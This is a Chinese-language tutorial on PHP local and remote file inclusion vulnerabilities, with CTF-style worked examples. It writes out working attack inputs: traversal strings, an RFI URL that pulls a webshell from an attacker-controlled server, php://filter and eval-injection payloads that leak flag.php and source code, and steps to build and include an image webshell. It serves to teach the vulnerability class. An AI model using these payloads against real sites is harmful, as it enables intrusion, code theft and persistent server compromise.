文件包含原理及应用实例
文件包含原理:
原理
文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
php 中引发文件包含漏洞的通常是以下四个函数:
1、include() 当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
2、include_once() 功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。
3、require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行
4、require_once() 它的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。
当使用这四个函数包含一个新文件时,该文件将作为 PHP 代码执行,php 内核并不在意该被包含的文件是什么类型。所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。这一特性,在实施攻击时非常有用。
Include()和include_once() ->遇到包含错误会继续执行下面代码
Require()和require_once()->遇到包含错误,不会继续往下执行代码,直接报错退出
分类
文件包含漏洞可以分为 RFI (远程文件包含)和 LFI(本地文件包含漏洞)两种。而区分他们最简单的方法就是 php.ini 中是否开启了allow_url_include。如果开启 了我们就有可能包含远程文件。
1、本地文件包含 LFI(Local File Include)
2、远程文件包含 RFI(Remote File Include)(需要 php.ini 中 allow_url_include=on、allow_url_fopen = On)
在 php.ini 中,allow_url_fopen 默认一直是 On,而 allow_url_include 从 php5.2 之后就默认为 Off。
一 ,本地包含(LFI)
包含同目录下的文件
* ?file=test.txt
目录遍历:
* ?file=./…/…/test.txt
./ 当前目录 …/ 上一级目录,这样的遍历目录来读取文件
远程文件包含
远程文件包含漏洞危害比本地文件包含漏洞大很多,远程文件包含允许用户包含服务器以外的文件,这就使得恶意攻击者可以包含可控服务器上的恶意文件并获取webshell了。利用前,需要攻击者拥有一个可控的web服务器,并在服务器上准备一个webshell文件。假设web服务器IP为10.0.0.2,文件名为zaq.txt,则利用方式为:http://www.target.com/fi.php?file=http://10.0.0.2/zaq.txt。
笔者模拟环境如下:操作机(攻击机)上有web服务器,存在文件zaq.txt,内容为PHP代码(最好是上文中生成shell文件的代码),IP为10.1.1.128;目标靶机了漏洞点为http://10.1.1.68/LRFI/rfi.php?file=,且已将allow_url_fopen设置为On,利用方式为:
http://10.1.1.68/LRFI/rfi.php?file=http://10.1.1.128/zaq.txt
文件包含应用实例
实例一:
http://www.target.com:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
现在具体说说file=php://filter/read=convert.base64-encode/resource=index.php的含义
首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。
如果不进行base64编码传入,就会直接执行,而flag的信息在注释中,是得不到的。
实例二:
<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__); ?>代码解释:
a、include “flag.php” 他居然把我们想要的flag包含进来了,真是嘿嘿嘿嘿
b、_GET、$_POST一样,都属于超级全局变量,但是呢,运行时修改后者不会影响前者,反之亦然
c、以get/post/cookies等方式把以hello为名的东西提交过来
d、eval函数把字符串当作命令直接执行
e、最后一句把本页代码以高亮语法显示出来
方法一:eval存在命令执行漏洞,使用hello构造payload
http://www.target.com:8003/index.php?hello=1);show_source(%27flag.php%27);var_dump(3
方法二:
http://www.target.com:8003/index.php?hello=1);include $_POST[‘f’];//
在POST区域:f=php://filter/convert.base64-encode/resource=flag.php
得到的结果进行解码
方法三:直接将flag.php文件读入变量hello中
?hello=get_file_contents(‘flag.php’)
?hello=file(‘flag.php’)
实例三:利用文件包含生成一句话木马
方法一:
利用php://input写入php木马,即在post中传入如下代码:
方法二:
上传一句话图片木马的方式进行包含。
图片马的制作方式如下,在cmd控制台下输入:
进入1.jph和2.php的文件目录后,执行:
copy 1.jpg/b+2.php/a 3.jpg
将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg
假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
图片中代码如下:
然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php